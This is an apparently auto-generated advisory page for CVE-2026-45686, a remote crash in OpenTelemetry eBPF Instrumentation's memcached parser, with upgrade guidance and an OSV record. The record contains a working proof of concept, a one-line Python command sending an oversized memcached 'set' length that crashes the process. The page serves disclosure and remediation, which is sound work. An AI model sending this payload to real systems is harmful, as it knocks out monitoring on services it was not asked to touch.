CVE-2026-45686: OpenTelemetry eBPF Instrumentation Memcached Payload Length Overflow Can Vulnerability
HIGHCVE-2026-45686 is a HIGH (CVSS 7.5) memcached payload length overflow can vulnerability (CWE-190: Integer Overflow or Wraparound) affecting OpenTelemetry eBPF Instrumentation libraries in the Go ecosystem. The issue involves memcached payload length overflow can crash obi. Remediation is available by upgrading affected packages to version 0.9.0.
CVE-2026-45686 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-45686
To remediate this vulnerability, upgrade all affected OpenTelemetry eBPF Instrumentation dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade go.opentelemetry.io/obi to 0.9.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for go.opentelemetry.io/obi
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-45686, inspect your project dependencies for OpenTelemetry eBPF Instrumentation:
inspect dependencies for go.opentelemetry.io/obi
Analyze the terminal output to locate any version of OpenTelemetry eBPF Instrumentation in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-190: Integer Overflow or Wraparound, where the product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. this occurs when an integer value is incremented to a value that is too large to store in the associated representation. when this occurs, the value may become a very small or negative number. In OpenTelemetry eBPF Instrumentation, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45686 Affected OpenTelemetry eBPF Instrumentation Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
go.opentelemetry.io/obi
|
Go |
≥ 0.7.0
< 0.9.0
|
0.9.0
|
References
Frequently Asked Questions
What is CVE-2026-45686?
Which OpenTelemetry eBPF Instrumentation versions are affected?
What version fixes CVE-2026-45686?
Is go.opentelemetry.io/obi affected?
What is the CVSS score of CVE-2026-45686?
What CWE is associated with CVE-2026-45686?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-43g7-cwr8-q3jh",
"modified" : "2026-06-09T10:58:58Z",
"published" : "2026-05-18T20:21:52Z",
"aliases" : [ "CVE-2026-45686" ],
"summary" : "OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI",
"details" : "### Summary\n\nA remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as `set`, `add`, `replace`, `append`, `prepend`, or `cas`, OBI accepts extremely large `<bytes>` values and adds the payload delimiter length without checking for overflow. A crafted request with `<bytes>` set to `math.MaxInt` or `math.MaxInt-1` causes the computed payload length to wrap negative and triggers a runtime panic in `LargeBufferReader.Peek`.\n\n### Details\n\nThe issue is in the memcached request parser at `pkg/ebpf/common/memcached_detect_transform.go`.\n\n`memcachedCommandBytesField` parses the storage command `<bytes>` field with `strconv.Atoi` and only rejects negative values:\n\n```go\nsize, err := strconv.Atoi(string(fields[4]))\nif err != nil || size < 0 {\n\treturn 0, false\n}\n```\n\nBecause there is no upper bound check, values up to `math.MaxInt` are accepted.\n\n`memcachedConsumeStoragePayload` then computes the payload length by adding the trailing `\\r\\n` delimiter length:\n\n```go\npayloadLen := bytesField + len(memcachedDelimBytes)\npayload, err := r.Peek(payloadLen)\n```\n\nIf `bytesField` is `math.MaxInt` or `math.MaxInt-1`, this addition overflows the signed `int` and produces a negative `payloadLen`.\n\nThat negative length is passed into `LargeBufferReader.Peek` in `pkg/internal/largebuf/large_buffer.go`. `Peek` checks whether `n > Remaining()` but does not reject negative values before slicing:\n\n```go\nif r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) {\n\treturn r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil\n}\n```\n\nWith a negative `n`, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.\n\nAffected logic identified by the scan:\n\n- `pkg/ebpf/common/memcached_detect_transform.go:322`\n- `pkg/ebpf/common/memcached_detect_transform.go:386`\n- `pkg/internal/largebuf/large_buffer.go:501`\n\n### PoC\n\nThe repository already contains a runnable memcached fixture under `internal/test/oats/memcached/`. The steps below reproduce the crash using only files from this repository.\n\n1. From the repository root, start the checked-in memcached environment:\n\n ```bash\n docker compose \\\n -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n up --build\n ```\n\n This starts:\n\n - `memcached` on port `11211`\n - `testserver`, the Python app in `internal/test/integration/components/pythonmemcached/main.py`\n - `autoinstrumenter`, the OBI process launched with `--config=/configs/instrumenter-config-traces.yml`\n\n The relevant repo-local files are:\n\n - `internal/test/oats/memcached/docker-compose-obi-python-memcached.yml`\n - `internal/test/oats/memcached/configs/instrumenter-config-traces.yml`\n\n2. In a second shell, confirm the environment is working:\n\n ```bash\n curl http://127.0.0.1:8080/memcached\n ```\n\n3. From the same repository root, send a crafted memcached storage command from inside the instrumented `testserver` container. On 64-bit systems, use `9223372036854775807` (`math.MaxInt`):\n\n ```bash\n docker compose \\\n -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n exec testserver \\\n python -c 'import socket; s=socket.create_connection((\"memcached\",11211), timeout=5); s.sendall(b\"set crash 0 0 9223372036854775807\\r\\nvalue\\r\\n\"); s.close()'\n ```\n\n On 32-bit systems, replace `9223372036854775807` with `2147483647`.\n\n4. OBI parses the request header, accepts the `<bytes>` field as an `int`, and computes:\n\n ```go\n payloadLen = bytesField + len(\"\\r\\n\")\n ```\n\n5. That addition overflows negative and the negative `payloadLen` is passed to `LargeBufferReader.Peek`, which slices with an invalid bound and panics.\n\n6. Confirm the crash by checking the `autoinstrumenter` container status or logs:\n\n ```bash\n docker compose \\\n -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n ps autoinstrumenter\n ```\n\n ```bash\n docker compose \\\n -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n logs autoinstrumenter\n ```\n\n The expected result is that the OBI process crashes with a panic originating from `LargeBufferReader.Peek`, with the call path including `memcachedConsumeStoragePayload`.\n\n### Impact\n\nThis is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path.\n\nImpacted deployments are those where:\n\n- OBI is running with the vulnerable memcached parser, and\n- OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.\n\nA successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "go.opentelemetry.io/obi"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.7.0"
}, {
"fixed" : "0.9.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-43g7-cwr8-q3jh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45686"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
}, {
"type" : "WEB",
"url" : "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-190" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-18T20:21:52Z",
"nvd_published_at" : "2026-06-02T16:16:43Z"
}
}